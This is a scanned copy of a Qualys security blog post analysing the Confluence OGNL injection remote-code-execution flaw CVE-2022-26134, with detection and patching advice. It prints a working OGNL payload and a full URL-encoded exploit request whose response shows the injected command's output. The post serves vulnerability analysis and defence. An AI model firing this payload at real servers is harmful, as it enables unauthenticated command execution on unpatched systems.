blog.qualys.com
Open in
urlscan Pro
35.230.125.173
Public Scan
Submitted URL: https://blog.qualys.com/vulnerabilities-threat-research/2022/06/29/atlassian-confluence-ognl-injection-remote-code-execu...
Effective URL: https://blog.qualys.com/qualys-insights/2022/06/29/atlassian-confluence-ognl-injection-remote-code-execution-rce-vulnera...
Submission: On August 13 via api from BG — Scanned from DE
Effective URL: https://blog.qualys.com/qualys-insights/2022/06/29/atlassian-confluence-ognl-injection-remote-code-execution-rce-vulnera...
Submission: On August 13 via api from BG — Scanned from DE
Form analysis
2 forms found in the DOMPOST https://blog.qualys.com/wp-comments-post.php?wpe-comment-post=qualysblog
<form action="https://blog.qualys.com/wp-comments-post.php?wpe-comment-post=qualysblog" method="post" id="commentform" class="comment-form" novalidate="">
<p class="comment-notes"><span id="email-notes">Your email address will not be published.</span> <span class="required-field-message">Required fields are marked <span class="required">*</span></span></p>
<p class="comment-form-comment"><label for="comment">Comment</label><textarea id="comment" name="comment" cols="45" rows="6" minlength="10" placeholder="Share your thoughts" aria-required="true" required=""></textarea></p>
<div class="field-wrapper">
<p class="comment-form-author"><label for="author">Name</label><input id="author" name="author" type="text" placeholder="Name" value="" size="20" minlength="4" required=""></p>
<p class="comment-form-email"><label for="email">Email</label><input id="email" name="email" type="email" placeholder="Email" value="" size="30" required=""></p>
</div>
<p class="comment-form-cookies-consent"><input id="wp-comment-cookies-consent" name="wp-comment-cookies-consent" type="checkbox" value="yes"> <label for="wp-comment-cookies-consent">Save my name, email, and website in this browser for the next time
I comment.</label></p>
<div class="g-recaptcha" data-sitekey="6Lc58QoqAAAAALGk25W8X6NC5w_JwiPPf_JA78rv">
<div style="width: 304px; height: 78px;">
<div><iframe title="reCAPTCHA" width="304" height="78" role="presentation" name="a-n2l9byemjoi1" frameborder="0" scrolling="no"
sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-top-navigation allow-modals allow-popups-to-escape-sandbox allow-storage-access-by-user-activation"
src="https://www.google.com/recaptcha/api2/anchor?ar=1&k=6Lc58QoqAAAAALGk25W8X6NC5w_JwiPPf_JA78rv&co=aHR0cHM6Ly9ibG9nLnF1YWx5cy5jb206NDQz&hl=de&v=_ZpyzC9NQw3gYt1GHTrnprhx&size=normal&cb=22gvo62a93gv"></iframe></div>
<textarea id="g-recaptcha-response" name="g-recaptcha-response" class="g-recaptcha-response" style="width: 250px; height: 40px; border: 1px solid rgb(193, 193, 193); margin: 10px 25px; padding: 0px; resize: none; display: none;"></textarea>
</div><iframe style="display: none;"></iframe>
</div>
<p class="form-submit"><input name="submit" type="submit" id="submit" class="submit" value="POST"> <input type="hidden" name="comment_post_ID" value="30235" id="comment_post_ID">
<input type="hidden" name="comment_parent" id="comment_parent" value="0">
</p>
<p style="display: none;"><input type="hidden" id="akismet_comment_nonce" name="akismet_comment_nonce" value="60e3caad02"></p><input type="hidden" id="ct_checkjs_72da7fd6d1302c0a159f6436d01e9eb0" name="ct_checkjs" value="1749386676">
<script>
setTimeout(function() {
var ct_input_name = "ct_checkjs_72da7fd6d1302c0a159f6436d01e9eb0";
if (document.getElementById(ct_input_name) !== null) {
var ct_input_value = document.getElementById(ct_input_name).value;
document.getElementById(ct_input_name).value = document.getElementById(ct_input_name).value.replace(ct_input_value, '1749386676');
}
}, 1000);
</script>
<p style="display: none !important;" class="akismet-fields-container" data-prefix="ak_"><label>Δ<textarea name="ak_hp_textarea" cols="45" rows="8" maxlength="100"></textarea></label><input type="hidden" id="ak_js_1" name="ak_js"
value="1723555562010">
<script>
document.getElementById("ak_js_1").setAttribute("value", (new Date()).getTime());
</script>
</p><input type="hidden" id="ct_bot_detector_event_token_6250" name="ct_bot_detector_event_token" value="76057460958170c7757cc3d5c610d9ba5c303e2ee02214299ca567b3bfb7b200"><input type="hidden" id="apbct_visible_fields_0" name="apbct_visible_fields"
value="eyIwIjp7InZpc2libGVfZmllbGRzIjoiY29tbWVudCBhdXRob3IgZW1haWwgYWtfaHBfdGV4dGFyZWEiLCJ2aXNpYmxlX2ZpZWxkc19jb3VudCI6NCwiaW52aXNpYmxlX2ZpZWxkcyI6ImctcmVjYXB0Y2hhLXJlc3BvbnNlIGNvbW1lbnRfcG9zdF9JRCBjb21tZW50X3BhcmVudCBha2lzbWV0X2NvbW1lbnRfbm9uY2UgYWtfanMgY3RfYm90X2RldGVjdG9yX2V2ZW50X3Rva2VuIGN0X25vX2Nvb2tpZV9oaWRkZW5fZmllbGQiLCJpbnZpc2libGVfZmllbGRzX2NvdW50Ijo3fX0="><input
name="ct_no_cookie_hidden_field"
value="_ct_no_cookie_data_eyJjdF9jaGVja2VkX2VtYWlscyI6IjAiLCJjdF9wc190aW1lc3RhbXAiOiIxNzIzNTU1NTYyIiwiY3RfY29va2llc190eXBlIjoibm9uZSIsImFwYmN0X2hlYWRsZXNzIjoiZmFsc2UiLCJhcGJjdF9wYWdlX2hpdHMiOjEsImFwYmN0X3Zpc2libGVfZmllbGRzIjoiMCIsImFwYmN0X3NpdGVfbGFuZGluZ190cyI6IjE3MjM1NTQ5OTIiLCJhcGJjdF9jb29raWVzX3Rlc3QiOiIlN0IlMjJjb29raWVzX25hbWVzJTIyJTNBJTVCJTIyYXBiY3RfdGltZXN0YW1wJTIyJTJDJTIyYXBiY3Rfc2l0ZV9sYW5kaW5nX3RzJTIyJTVEJTJDJTIyY2hlY2tfdmFsdWUlMjIlM0ElMjJmMTY4OGQ5NDkzMTk3OTJiZWI4YWM1ODkxY2JlNjBlZCUyMiU3RCIsImN0X2ZrcF90aW1lc3RhbXAiOiIwIiwiY3RfcG9pbnRlcl9kYXRhIjoiJTVCJTVEIiwiY3Rfc2NyZWVuX2luZm8iOiIlN0IlMjJmdWxsV2lkdGglMjIlM0ExNjAwJTJDJTIyZnVsbEhlaWdodCUyMiUzQTEzMTczJTJDJTIydmlzaWJsZVdpZHRoJTIyJTNBMTYwMCUyQyUyMnZpc2libGVIZWlnaHQlMjIlM0ExMjAwJTdEIiwiYXBiY3RfaWZyYW1lc19wcm90ZWN0ZWQiOltdLCJjdF9jaGVja2pzIjoiMTc0OTM4NjY3NiIsImN0X3RpbWV6b25lIjoiMiIsImFwYmN0X3BpeGVsX3VybCI6Imh0dHBzJTNBJTJGJTJGbW9kZXJhdGUxLXY0LmNsZWFudGFsay5vcmclMkZwaXhlbCUyRjMwMjQ3Yjc1YTJjZjg3MGYzYmQ3ZWFmYjM1ZGY5NmVjLmdpZiIsImFwYmN0X3Nlc3Npb25faWQiOiJ1bXBoempwIiwiYXBiY3Rfc2Vzc2lvbl9jdXJyZW50X3BhZ2UiOiJodHRwczovL2Jsb2cucXVhbHlzLmNvbS9xdWFseXMtaW5zaWdodHMvMjAyMi8wNi8yOS9hdGxhc3NpYW4tY29uZmx1ZW5jZS1vZ25sLWluamVjdGlvbi1yZW1vdGUtY29kZS1leGVjdXRpb24tcmNlLXZ1bG5lcmFiaWxpdHktY3ZlLTIwMjItMjYxMzQiLCJ0eXBvIjpbeyJpc0F1dG9GaWxsIjpmYWxzZSwiaXNVc2VCdWZmZXIiOmZhbHNlLCJzcGVlZERlbHRhIjowLCJmaXJzdEtleVRpbWVzdGFtcCI6MCwibGFzdEtleVRpbWVzdGFtcCI6MCwibGFzdERlbHRhIjowLCJjb3VudE9mS2V5IjowfSx7ImlzQXV0b0ZpbGwiOmZhbHNlLCJpc1VzZUJ1ZmZlciI6ZmFsc2UsInNwZWVkRGVsdGEiOjAsImZpcnN0S2V5VGltZXN0YW1wIjowLCJsYXN0S2V5VGltZXN0YW1wIjowLCJsYXN0RGVsdGEiOjAsImNvdW50T2ZLZXkiOjB9XX0="
type="hidden" class="apbct_special_field ct_no_cookie_hidden_field">
</form>
<form id="jp-carousel-comment-form">
<label for="jp-carousel-comment-form-comment-field" class="screen-reader-text">Write a Comment...</label>
<textarea name="comment" class="jp-carousel-comment-form-field jp-carousel-comment-form-textarea" id="jp-carousel-comment-form-comment-field" placeholder="Write a Comment..."></textarea>
<div id="jp-carousel-comment-form-submit-and-info-wrapper">
<div id="jp-carousel-comment-form-commenting-as">
<fieldset>
<label for="jp-carousel-comment-form-email-field">Email (Required)</label>
<input type="text" name="email" class="jp-carousel-comment-form-field jp-carousel-comment-form-text-field" id="jp-carousel-comment-form-email-field">
</fieldset>
<fieldset>
<label for="jp-carousel-comment-form-author-field">Name (Required)</label>
<input type="text" name="author" class="jp-carousel-comment-form-field jp-carousel-comment-form-text-field" id="jp-carousel-comment-form-author-field">
</fieldset>
<fieldset>
<label for="jp-carousel-comment-form-url-field">Website</label>
<input type="text" name="url" class="jp-carousel-comment-form-field jp-carousel-comment-form-text-field" id="jp-carousel-comment-form-url-field">
</fieldset>
</div>
<input type="submit" name="submit" class="jp-carousel-comment-form-button" id="jp-carousel-comment-form-button-submit" value="Post Comment">
</div>
<input type="hidden" id="ct_bot_detector_event_token_4881" name="ct_bot_detector_event_token" value="76057460958170c7757cc3d5c610d9ba5c303e2ee02214299ca567b3bfb7b200"><input name="ct_no_cookie_hidden_field"
value="_ct_no_cookie_data_eyJjdF9jaGVja2VkX2VtYWlscyI6IjAiLCJjdF9wc190aW1lc3RhbXAiOiIxNzIzNTU1NTYyIiwiY3RfY29va2llc190eXBlIjoibm9uZSIsImFwYmN0X2hlYWRsZXNzIjoiZmFsc2UiLCJhcGJjdF9wYWdlX2hpdHMiOjEsImFwYmN0X3Zpc2libGVfZmllbGRzIjoiMCIsImFwYmN0X3NpdGVfbGFuZGluZ190cyI6IjE3MjM1NTQ5OTIiLCJhcGJjdF9jb29raWVzX3Rlc3QiOiIlN0IlMjJjb29raWVzX25hbWVzJTIyJTNBJTVCJTIyYXBiY3RfdGltZXN0YW1wJTIyJTJDJTIyYXBiY3Rfc2l0ZV9sYW5kaW5nX3RzJTIyJTVEJTJDJTIyY2hlY2tfdmFsdWUlMjIlM0ElMjJmMTY4OGQ5NDkzMTk3OTJiZWI4YWM1ODkxY2JlNjBlZCUyMiU3RCIsImN0X2ZrcF90aW1lc3RhbXAiOiIwIiwiY3RfcG9pbnRlcl9kYXRhIjoiJTVCJTVEIiwiY3Rfc2NyZWVuX2luZm8iOiIlN0IlMjJmdWxsV2lkdGglMjIlM0ExNjAwJTJDJTIyZnVsbEhlaWdodCUyMiUzQTEzMTczJTJDJTIydmlzaWJsZVdpZHRoJTIyJTNBMTYwMCUyQyUyMnZpc2libGVIZWlnaHQlMjIlM0ExMjAwJTdEIiwiYXBiY3RfaWZyYW1lc19wcm90ZWN0ZWQiOltdLCJjdF9jaGVja2pzIjoiMTc0OTM4NjY3NiIsImN0X3RpbWV6b25lIjoiMiIsImFwYmN0X3BpeGVsX3VybCI6Imh0dHBzJTNBJTJGJTJGbW9kZXJhdGUxLXY0LmNsZWFudGFsay5vcmclMkZwaXhlbCUyRjMwMjQ3Yjc1YTJjZjg3MGYzYmQ3ZWFmYjM1ZGY5NmVjLmdpZiIsImFwYmN0X3Nlc3Npb25faWQiOiJ1bXBoempwIiwiYXBiY3Rfc2Vzc2lvbl9jdXJyZW50X3BhZ2UiOiJodHRwczovL2Jsb2cucXVhbHlzLmNvbS9xdWFseXMtaW5zaWdodHMvMjAyMi8wNi8yOS9hdGxhc3NpYW4tY29uZmx1ZW5jZS1vZ25sLWluamVjdGlvbi1yZW1vdGUtY29kZS1leGVjdXRpb24tcmNlLXZ1bG5lcmFiaWxpdHktY3ZlLTIwMjItMjYxMzQiLCJ0eXBvIjpbeyJpc0F1dG9GaWxsIjpmYWxzZSwiaXNVc2VCdWZmZXIiOmZhbHNlLCJzcGVlZERlbHRhIjowLCJmaXJzdEtleVRpbWVzdGFtcCI6MCwibGFzdEtleVRpbWVzdGFtcCI6MCwibGFzdERlbHRhIjowLCJjb3VudE9mS2V5IjowfSx7ImlzQXV0b0ZpbGwiOmZhbHNlLCJpc1VzZUJ1ZmZlciI6ZmFsc2UsInNwZWVkRGVsdGEiOjAsImZpcnN0S2V5VGltZXN0YW1wIjowLCJsYXN0S2V5VGltZXN0YW1wIjowLCJsYXN0RGVsdGEiOjAsImNvdW50T2ZLZXkiOjB9XX0="
type="hidden" class="apbct_special_field ct_no_cookie_hidden_field">
</form>
Text Content
* Discussions * Back to main menu * BROWSE BY TOPICBROWSE BY TOPIC * Global IT Asset Management * IT Security * Compliance * Cloud & Container Security * Web App Security * Certificate Security & SSL Labs * Developer API * Cloud Platform * Start a discussion * Blog * Training * Docs * Support * Trust * Community SearchLoading Blog Home ATLASSIAN CONFLUENCE OGNL INJECTION REMOTE CODE EXECUTION (RCE) VULNERABILITY (CVE-2022-26134) Mayank Deshmukh, Senior Web Application Signatures Engineer June 29, 2022December 23, 2022 - 10 min read 31 Last updated on: December 23, 2022 TABLE OF CONTENTS * About CVE-2022-26134 * Exploit Analysis * Source Code Analysis * Detecting the Vulnerability with Qualys WAS * Solution * Credits * References: * Contributors On June 02, 2022, Atlassian published a security advisory about a critical severity Unauthenticated Remote Code Execution vulnerability affecting Confluence Server and Data Center. According to the advisory, the vulnerability is being actively exploited and Confluence Server and Data Center versions after 1.3.0 are affected. The vulnerability is tracked as CVE-2022-26134 with 9.8 CVSSv3 score with multiple proof of concept exploits released by security researchers on GitHub. Qualys Web Application Scanning released QID 150523 on June 08, 2022, to detect CVE-2022-26134, the detection sends HTTP GET request with a specially crafted OGNL payload to determine the vulnerability on the target Confluence application. The OGNL payload creates a custom HTTP response header containing the output of the system command executed on Linux and Windows systems. The detection also consists of a Qualys customized OGNL payload which is platform-independent, eliminating false positives and works irrespective of the host operating system by creating a custom HTTP response header with Qualys specified value. ABOUT CVE-2022-26134 CVE-2022-26134 is an unauthenticated OGNL Injection remote code execution vulnerability affecting Confluence Server and Data Center versions after 1.3.0. In order to exploit a vulnerable server, a remote attacker can send a malicious HTTP GET request with an OGNL payload in the URI. The vulnerable server once exploited it would allow the attacker to execute commands remotely with user privileges running the Confluence application. The vulnerability is fixed in Confluence versions 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 and 7.18.1. OGNL INJECTION Object-Graph Navigation Language (OGNL) is an open-source Expression Language (EL) used for getting and setting the properties of Java objects. An OGNL Injection occurs when there is insufficient validation of user-supplied data, and the EL interpreter attempts to interpret it enabling attackers to inject their own EL code. In the case of CVE-2022-26134, the RCE attack is not complex in nature. The attack can be executed by simply sending the OGNL payload in the request URI. The payload can be crafted to add a custom HTTP response header that prints the output of successfully executed remote commands. RCE Payload ${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Qualys-Response",#a))} Breaking the above payload, variable a is assigned the value of an expression which calls various static methods using syntax @class@method(args), where java.lang.Runtime class calls exec method which executes id command and the output is stored in the variable a. Next, from package com.opensymphony.xwork2 class ServletActionContext is called which uses getResponse and setHeader method to fetch response of id system command in X-Qualys-Response custom header. EXPLOIT POC REQUEST GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Qualys-Response%22%2C%23a%29%29%7D/ HTTP/1.1 Host: 127.0.0.1:8090 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 RESPONSE HTTP/1.1 302 Cache-Control: no-store Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Confluence-Request-Time: 1655819234897 Set-Cookie: JSESSIONID=7AE586C9E49E2301BA33E5A1552D8C6F; Path=/; HttpOnly X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-Qualys-Response: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence) Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Qualys-Response%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true Content-Type: text/html;charset=UTF-8 Content-Length: 0 Date: Tue, 21 Jun 2022 13:47:14 GMT Connection: close Once the exploit is triggered it can be seen X-Qualys-Response HTTP response header contains the output of the id system command resulting in successful exploitation of this remote code execution vulnerability. EXPLOIT ANALYSIS While analyzing the above RCE request, the Qualys WAS research team came across the Catalina log file in Confluence Server stored at /opt/atlassian/confluence/logs/catalina.YYYY-MM-DD.log which had multiple entries of web requests sent, along with output from stdout and stderr. Following is the snippet from the log file printing stack trace for the RCE request: -------------------------------------------------------------------------------- 07-Jun-2022 10:37:00.565 WARNING [Catalina-utility-4] org.apache.catalina.valves.StuckThreadDetectionValve.notifyStuckThreadDetected Thread [http-nio-8090-exec-17] (id=[347]) has been active for [75,417] milliseconds (since [6/7/22 10:35 AM]) to serve the same request for [http://127.0.0.1:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Qualys-Response%22%2C%23a%29%29%7D/] and may be stuck (configured threshold for this StuckThreadDetectionValve is [60] seconds). There is/are [1] thread(s) in total that are monitored by this Valve and may be stuck. java.lang.Throwable at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1247) at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1215) at ognl.OgnlParser.primaryExpression(OgnlParser.java:1494) at ognl.OgnlParser.navigationChain(OgnlParser.java:1245) [..SNIP..] at ognl.Ognl.parseExpression(Ognl.java:113) at com.opensymphony.xwork.util.OgnlUtil.compile(OgnlUtil.java:196) at com.opensymphony.xwork.util.OgnlValueStack.findValue(OgnlValueStack.java:141) at com.opensymphony.xwork.util.TextParseUtil.translateVariables(TextParseUtil.java:39) at com.opensymphony.xwork.ActionChainResult.execute(ActionChainResult.java:95) at com.opensymphony.xwork.DefaultActionInvocation.executeResult(DefaultActionInvocation.java:263) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:187) at com.atlassian.confluence.xwork.FlashScopeInterceptor.intercept(FlashScopeInterceptor.java:21) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.atlassian.confluence.core.actions.LastModifiedInterceptor.intercept(LastModifiedInterceptor.java:27) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.atlassian.confluence.core.ConfluenceAutowireInterceptor.intercept(ConfluenceAutowireInterceptor.java:44) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.atlassian.xwork.interceptors.TransactionalInvocation.invokeAndHandleExceptions(TransactionalInvocation.java:61) at com.atlassian.xwork.interceptors.TransactionalInvocation.invokeInTransaction(TransactionalInvocation.java:51) at com.atlassian.xwork.interceptors.XWorkTransactionInterceptor.intercept(XWorkTransactionInterceptor.java:50) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.atlassian.confluence.xwork.SetupIncompleteInterceptor.intercept(SetupIncompleteInterceptor.java:61) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.atlassian.confluence.security.interceptors.SecurityHeadersInterceptor.intercept(SecurityHeadersInterceptor.java:26) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.opensymphony.xwork.DefaultActionProxy.execute(DefaultActionProxy.java:115) at com.atlassian.confluence.servlet.ConfluenceServletDispatcher.serviceAction(ConfluenceServletDispatcher.java:56) at com.opensymphony.webwork.dispatcher.ServletDispatcher.service(ServletDispatcher.java:199) at javax.servlet.http.HttpServlet.service(HttpServlet.java:764) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) [..SNIP..] at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.base@11.0.15/java.lang.Thread.run(Thread.java:829) -------------------------------------------------------------------------------- Analyzing the stack, com.opensymphony.webwork.dispatcher.ServletDispatcher.service(ServletDispatcher.java:199) appears to be the source where the injection occurs. The execution flows up to com.opensymphony.xwork.ActionChainResult.execute(ActionChainResult.java:95) where execute method calls translateVariables method from TextParseUtil class com.opensymphony.xwork.util.TextParseUtil.translateVariables(TextParseUtil.java:39) which appears to be sink where the OGNL expression evaluation takes place invoking findValue method from OgnlValueStack class com.opensymphony.xwork.util.OgnlValueStack.findValue(OgnlValueStack.java:141) and goes forward parsing the OGNL expression with com.opensymphony.xwork.util.OgnlUtil.compile(OgnlUtil.java:196) and multiple other classes. SOURCE CODE ANALYSIS To have a better understanding of the execution flow of this RCE vulnerability, it’s important that we dive into the source code of these classes: Starting off with ServletDispatcher class: public static String getNamespaceFromServletPath(String servletPath) { servletPath = servletPath.substring(0, servletPath.lastIndexOf("/")); return servletPath; } ServletDispatcher The getNamespaceFromServletPath is used to obtain the namespace to which an Action belongs. For example : When a malicious request http://127.0.0.1:8090/<RCE payload>/ is fired, the line servletPath.substring(0, servletPath.lastIndexOf("/")); will consider everything before the last trailing slash as a namespace. Hence namespace <RCE payload> is created from the malicious requested URI. As a result, the last trailing slash is an essential component for the exploit to work, if omitted the payload won’t work. This namespace is further utilized by execute method using this.namespace expression inside ActionChainResult: public void execute(final ActionInvocation invocation) throws Exception { if (this.namespace == null) { this.namespace = invocation.getProxy().getNamespace(); } final OgnlValueStack stack = ActionContext.getContext().getValueStack(); final String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack); final String finalActionName = TextParseUtil.translateVariables(this.actionName, stack); if (this.isInChainHistory(finalNamespace, finalActionName)) { throw new XworkException("infinite recursion detected"); } ActionChainResult Here, translateVariables method from TextParseUtil class is called on this.namespace expression which converts all instances of ${...} in expression to the value returned by a call to OgnlValueStack.findValue. Going forward with TextParseUtil class code: package com.opensymphony.xwork.util; import java.util.regex.Matcher; import java.util.regex.Pattern; public class TextParseUtil { public static String translateVariables(final String expression, final OgnlValueStack stack) { final StringBuilder sb = new StringBuilder(); final Pattern p = Pattern.compile("\\$\\{([^}]*)\\}"); final Matcher m = p.matcher(expression); int previous = 0; while (m.find()) { final String g = m.group(1); final int start = m.start(); String value; try { final Object o = stack.findValue(g); value = ((o == null) ? "" : o.toString()); } catch (Exception ignored) { value = ""; } sb.append(expression.substring(previous, start)).append(value); previous = m.end(); } if (previous < expression.length()) { sb.append(expression.substring(previous)); } return sb.toString(); } } TextParseUtil translateVariables method here takes two parameters expression which is basically a string which hasn’t been translated and secondly a value stack which allows dynamic OGNL expressions to be evaluated against it. Inside final Pattern p = Pattern.compile("\\$\\{([^}]*)\\}"); class Pattern defines a pattern to be searched and then it’s created using Pattern.compile() method. In Java \ single backslash is an escape character for strings. Hence \\ double backslash are used in above regex \\$\\{([^}]*)\\} to escape $, {, } characters. Next line final Matcher m = p.matcher(expression); uses matcher() method to search for the pattern in a string, for example : ${qualys.rce.payload} pattern is created. Further contents of round brackets are extracts from the regular expression \\$\\{([^}]*)\\} to match the expression using final String g = m.group(1); and pass it to final Object o = stack.findValue(g); And finally, findValue finds the value by evaluating the given expression against the stack in the default search order. As a result, when a remote attacker makes a malicious request URI http://127.0.0.1:8090/${rce_payload}/, first ${rce_payload} gets translated into a namespace and then using TextParseUtil.translateVariables the payload is extracted and henceforth using findValue the OGNL expression rce_payload gets evaluated causing Remote Code Execution. DETECTING THE VULNERABILITY WITH QUALYS WAS Customers can detect this vulnerability on the target Confluence application with Qualys Web Application Scanning using the following QID: * 150523: Atlassian Confluence Server and Data Center OGNL Injection Remote Code Execution (RCE) Vulnerability (CVE-2022-26134) QUALYS WAS REPORT Once the vulnerability is successfully detected, users shall see the following results in the vulnerability scan report: SOLUTION Due to the Critical severity and active exploitation of this vulnerability, organizations using the Confluence application are strongly advised to upgrade their Confluence application to version 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4, 7.18.1 or later version to remediate CVE-2022-26134 vulnerability. More information regarding patching and workaround can be referred to Confluence Security Advisory. CREDITS Confluence Security Advisory: https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html CVE Details: * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26134 * https://nvd.nist.gov/vuln/detail/CVE-2022-26134 Credit for the vulnerability discovery goes to Volexity. REFERENCES: * https://twitter.com/ptswarm/status/1533805332409069568/photo/1 CONTRIBUTORS * Sheela Sarva, Director, Quality Engineering, Web Application Security, Qualys * Rajesh Kumbhar, Senior Software Engineer, Qualys RELATED Atlassian Confluence: Questions for Confluence App Hardcoded Credentials Vulnerability (CVE-2022-26138)August 17, 2022In "Product and Tech" Atlassian Confluence Broken Access Control Vulnerability (CVE-2023-22515)November 15, 2023In "Vulnerabilities and Threat Research" Qualys Tackles 2022’s Top Routinely Exploited Cyber Vulnerabilities August 24, 2023In "Qualys Insights" Written by Mayank Deshmukh, Senior Web Application Signatures Engineer Write to Mayank at madeshmukh@qualys.com Like 31 Share * * * * RELATED CONTENT atlassian, confluence, ognl Share your Comments COMMENTS CANCEL REPLY Your email address will not be published. Required fields are marked * Comment Name Email Save my name, email, and website in this browser for the next time I comment. Δ JOIN THE DISCUSSION TODAY! Learn more about Qualys and industry best practices. Share what you know and build a reputation. Secure your systems and improve security for everyone. Start a discussion * Twitter * LinkedIn * Facebook * YouTube * Vimeo QUALYS * Qualys.com * Qualys Community Edition * Qualys Merchandise Store QUALYS COMMUNITIES * Vulnerability Management * Policy Compliance * PCI Compliance * Web App Scanning * Web App Firewall * Continuous Monitoring * Security Assessment Questionnaire * Threat Protection * Asset Inventory * AssetView * CMDB Sync * Endpoint Detection & Response * Security Configuration Assessment * File Integrity Monitoring * Cloud Inventory * Certificate Inventory * Container Security * Cloud Security Assessment * Certificate Assessment * Out-of-band Configuration Assessment * Patch Management * Developer API * Cloud Agent * Dashboards & Reporting DISCUSSIONS * All discussions * Global IT Asset Management * IT Security * Compliance * Cloud & Container Security * Web App Security * Certificate Security & SSL Labs * Developer API BLOG * All posts * Qualys Insights * Product and Tech * Vulnerabilities and Threat Research * Release Notifications TRAINING * Overview * Certified Courses * Video Library * Instructor-led Training DOCS * Overview * Release Notes SUPPORT * Support Portal © 2024 Qualys, Inc. All rights reserved. Privacy Policy . Accessibility Loading Comments... Write a Comment... Email (Required) Name (Required) Website Notice. We use cookies to optimize our website. By continuing to use our site, you accept our privacy policy. Yes, I accept Cookies No thanks